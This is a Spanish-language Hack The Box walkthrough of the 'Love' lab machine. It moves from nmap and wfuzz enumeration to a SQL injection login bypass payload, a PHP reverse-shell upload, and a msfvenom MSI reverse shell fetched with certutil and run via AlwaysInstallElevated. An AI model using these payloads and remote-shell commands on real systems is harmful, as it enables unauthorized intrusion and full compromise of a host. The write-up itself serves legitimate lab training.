Love ~ Hack The Box
Machine IP 10.10.10.198
Reconocimiento
#tutorial: Qué información se puede obtener.
Comienzo el escaneo de puertos y versiones con nmap:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1j PHP/7.3.27)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Voting System using PHP
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_ssl-date: TLS randomness does not represent time
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=staging.love.htb/organizationName=ValentineCorp/stateOrProvinceName=m/countryName=in
| Not valid before: 2021-01-18T14:00:16
|_Not valid after: 2022-01-18T14:00:16
445/tcp open microsofeH+V Windows 10 Pro 19042 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open mysql?
5000/tcp open http Apache httpd 2.4.46 (OpenSSL/1.1.1j PHP/7.3.27)
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27
5040/tcp open unknown
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: 2023-10-26T00:44:35+00:00; +21m32s from scanner time.
| ssl-cert: Subject: commonName=LOVE
| Subject Alternative Name: DNS:LOVE, DNS:Love
| Not valid before: 2021-04-11T14:39:19
|_Not valid after: 2024-04-10T14:39:19
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
7680/tcp open pando-pub?
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Ahora enumero directorios con Wfuzz:
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000023: 403 9 L 30 W 298 Ch ".hta"
000000024: 403 9 L 30 W 298 Ch ".htaccess"
000000025: 403 9 L 30 W 298 Ch ".htpasswd"
000000191: 301 9 L 30 W 329 Ch "ADMIN"
000000196: 301 9 L 30 W 329 Ch "Admin"
000000259: 301 9 L 30 W 330 Ch "Images"
000000520: 301 9 L 30 W 329 Ch "admin"
000000763: 403 9 L 30 W 298 Ch "aux"
000001039: 403 9 L 30 W 298 Ch "cgi-bin/"
000001162: 403 9 L 30 W 298 Ch "com4"
000001159: 403 9 L 30 W 298 Ch "com1"
000001160: 403 9 L 30 W 298 Ch "com2"
000001161: 403 9 L 30 W 298 Ch "com3"
000001206: 403 9 L 30 W 298 Ch "con"
000001504: 301 9 L 30 W 328 Ch "dist"
000002170: 301 9 L 30 W 330 Ch "images"
000002198: 200 125 L 324 W 4388 Ch "index.php"
000002191: 301 9 L 30 W 332 Ch "includes"
000002457: 403 11 L 47 W 417 Ch "licenses"
000002542: 403 9 L 30 W 298 Ch "lpt1"
000002543: 403 9 L 30 W 298 Ch "lpt2"
000001710: 503 11 L 44 W 398 Ch "examples"
000002867: 403 9 L 30 W 298 Ch "nul"
000003112: 403 9 L 30 W 298 Ch "phpmyadmin"
000003158: 301 9 L 30 W 331 Ch "plugins"
000003276: 403 9 L 30 W 298 Ch "prn"
000003719: 403 11 L 47 W 417 Ch "server-status"
000003718: 403 11 L 47 W 417 Ch "server-info"
000004476: 403 9 L 30 W 298 Ch "webalizer"
Análisis de vulnerabilidades
Comienzo a revisar la pagina web y me encuentro con un login. Intento realizar algunas SQLinjections durante un rato pero no logro llegar a nada.

Asi que procedo a revisar el segundo directorio que me llama la atencion, el cual es Admin. Acá tambien encuentro un Login, pero con algunos cambios, por que ahora no pide un ID, pide un usuario.

Vuelvo a intentar realizar SQLinjections, y tampoco logro nada, pero hay algo que me llama la atención. Cuando no quiero probar las SQLinjections una por una, cargo una lista en Caido que es un programa similar a Burpsuite que permite realizar ataques de fuerza bruta sin los limites de velocidad que tiene BurpSuite (sin pagar).
Lo que hice fue crear un .txt con paylods sacados de HackTricks y los cargo en Caido, luego intercepto la conexion con Caido (igual que BurpSuite), marco el input (username) en donde quiero cargar el payload y lo inicio:

No logro bypassear el login, pero si encuentro algo que me llamo la atención. Y es que como respuesta por parte del servidor web estoy recibiendo dos resultados distinto en cuanto a cantidad de caracteres, 351 y 495:

Al revisar el de 495 veo una respuesta por parte del servidor, la cual me hace pensar que puede existir una via potencial de ejecutar un SQLinjection:

Asi que enseguida procedo a investigar mas por Google. Hasta que doy con una vulnerabilidad para ByPassear el Login:

Explotación de vulnerabilidades
Resumiendo, se podia realizar una inyeccion SQL, pero era mas compleja que las inyecciones que estaba intentando yo. Esta es la que termine utilizando para lograr el ByPass:
login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -
Asi que ahora solo queda interceptar la peticion nuevamente e inyectar el payload.

De ahi en más, solamente aprete Forward unas 3 veces para lograr ingresar.

Ahora me quedaba encontrar algun fallo en el sistema para ver si podia lograr algo desde el panel.
Cuando me puse a buscar en Google vulnerabilidades, me di cuenta de que estaba este RCE que pedia autenticación, asi que fui a revisarlo.
El script pedia los datos del usuario administrador para ejecutar codigo.
De aqui en adelante he visto que otros usuarios de HTB toman otra via para encontrar las credenciales de Admin y ejecutar la vulnerabilidad, viendo el puerto 5000 a tres de otra pagina con subdomino. Esto no lo hice, ya que no me percate de que podia existir un subdominio en este momento. Entiendo que esta vulnerabilidad estaba prevista para ejecutarse con este payload, pero quizá no de la manera que yo lo hice.
Pero leyendo el codigo me di cuenta de que simplemente se podia hacer estando logeado desde la misma interfaz.
Fui al apartado de Voters y agregue uno nuevo. Rellene los datos y en el apartado de Photo cargue un script PHP:
FAIL: Acá igual me lleve un rato probando scripts, ya que el que estaba documentado en exploit-db no funciono, y tambien estuve probando otros (como se ve en la imagen).

El exploit que use es el de Ivan Sincek, puedes verlo acá, o puedes hacerlo como yo que simplemente lo saque revshells.com, en el apartado de Windows.
Luego lo que quedaba era ejecutar el script PHP, en el codigo se puede ver que lo carga desde el directorio images simplemente abriendolo desde la URL.
Asi que pongo en escucha el netcat e ingreso a la URL:

SHELL OBTENIDA.
Ahora busco la User Flag y continuo con la escala de privilegio.
❯ nc -nvlp 4545
listening on [any] 4545 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.239] 63812
SOCKET: Shell has connected! PID: 2448
Microsoft Windows [Version 10.0.19042.867]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\xampp\htdocs\omrs\images>whoami
love\phoebe
C:\xampp\htdocs\omrs\images>cd C:\Users\Phoebe\Desktop
C:\Users\Phoebe\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 56DE-BA30
Directory of C:\Users\Phoebe\Desktop
04/13/2021 03:20 AM <DIR> .
04/13/2021 03:20 AM <DIR> ..
10/25/2023 05:33 PM 34 user.txt
1 File(s) 34 bytes
2 Dir(s) 3,856,453,632 bytes free
C:\Users\Phoebe\Desktop>type usr.txt
The system cannot find the file specified.
C:\Users\Phoebe\Desktop>type user.txt
c7b85e76**************************
Escalada de privilegios
Lo primero que hago es hacer un whoami /priv pero no veo nada interesante.
Asi que descargo winPEAS y lo transfiero a la maquina Windows:

FAIL: En este punto no sabia que podia hacer, por mi desconocimiento hackeando Windows, asi que me pongo a probar diferentes cosas como JuicyPotato para escalar privilegios, pero no logro dar con nada.
Buscando alguna ayuda me informo de que AlwaysInstallElevated al estar seteado en 1 tanto en HKLM como en HMCU podemos sacar provecho para escalar privilegio. (Esto se puede ver utilizando winPEAS.)
Al parecer se puede crear un .MSI con Msfvenom para escalar privilegios.
Entonces hago un exploit Reverse Shell con un archivo .msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.29 LPORT=4321 --platform windows -a x64 -f msi -o reverse2.msi
Ahora debo subirlo a Windows abriendo un servidor Python:
❯ python3 -m http.server 80
Y descargandolo desde Windows:
certutil.exe -f -urlcache -split http://10.10.14.7/reverse2.msi
Ahora me pongo en escucha por el puerto 4321 con NetCat:
nc -nvlp 4321
y ejecuto el .MSI con:
msiexec /quiet /qn /i reverse2.msi

ROOT SHELL OBTENIDA.
Ahora solo me queda ir por la Root Flag:
```bash C:\WINDOWS\system32>whoami whoami nt authority\system
C:\WINDOWS\system32>cd C:\Users\Administrator\Desktop cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 56DE-BA30
Directory of C:\Users\Administrator\Desktop
04/13/2021 03:20 AM
C:\Users\Administrator\Desktop>type root.txt
type root.txt
1bd72aa6*******```